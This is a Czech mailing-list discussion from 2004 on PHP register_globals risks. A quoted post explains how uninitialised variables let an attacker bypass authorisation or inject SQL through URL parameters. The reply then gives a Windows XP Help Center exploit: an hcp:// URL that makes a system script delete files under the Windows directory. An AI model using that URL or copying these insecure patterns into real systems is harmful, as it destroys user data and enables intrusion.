Apache

Dalaxi Linux dallinux na centrum.cz
Úterý Říjen 26 22:38:59 CEST 2004


Kamil Dedecius wrote:

>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>  
>
>>Tento clanek jsem cetl... Ale neni v nem odpoved na moji otazku. Tyto dva
>>popsane zpusoby jsou prece stejne zabezpecene. Zadny rozdil tu nevidim...
>>Nebo snad ano?
>>    
>>
>
>Vytrhnu ten prvni priklad:
>
><?php
>// define $authorized = true only if user is authenticated
>if (authenticated_user()) {
>   $authorized = true;
>}
>
>if ($authorized) {
>   include "/highly/sensitive/data.php";
>}
>
>Tim chtel autor rici, ze pokud mate register_global=on a utocnik pouzije url 
>typu http://server.com/protected.php?authorised=true, tak jste v pytli, 
>protoze NIKDE na zacatku onoho nebezpecneho skriptu si nedeklarujete tu 
>promennou jako false (protoze neumite poradne prgat nebo kaslete na zasady 
>bezpecneho a kvalitniho kodu).
>
>Mate-li vypnuto register_global, tak se nic nestane, protoze misto 
>$authorized=true vam utocnik vyrobi nanejvys $_GET['authorized']=true a to 
>vas neohrozi, i kdyz ten kod zustane tak, jak byl. 
>
>Predstavte si napr. amaterske forum, ktere jen testuje, existuje-li $query a 
>paklize ano, prozene ten dotaz databazi. Utocnik muze vyrobit neco typu 
>http://server.com/index.php?query='nejaky_nebezpecny_sql_dotaz' a jste v 
>kelu, protoze jste na zacatku skriptu zapomnel ono $query=''
>
>Doufam, ze jsem to nenapsal moc zmatene.
>
>- -- Kamil 'JP' Dedecius
>- ----------------------------------------------------------
>PGP public key 0xAD8104EF can be obtained from www.gpg.cz
>FPR: D2FD 5ABC 32F0 6B53 875E FF1A 82CB 4B7A AD81 04EF  
>-----BEGIN PGP SIGNATURE-----
>Version: GnuPG v1.2.6 (GNU/Linux)
>
>iD8DBQFBfqqngstLeq2BBO8RAqxQAJ9jXApi5KpArhc0Bo1qcPLsqbUK3gCcCqEg
>P5fIE0CTAGqhzPXTuK00VZw=
>=07y0
>-----END PGP SIGNATURE-----
>
>  
>
Vas priklad mi pripomel jeden bug na WinXP :
Cast toho skriptu je ulozena ve 
"%windir%PCHEALTHHELPCTRSystemDFSuplddrvinfo.htm"

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}

pak staci :

hcp://system/DFS/uplddrvinfo.htm?file://c:windows*

a jste bez "Pseoudo 'Systemu' " :)


Další informace o konferenci Linux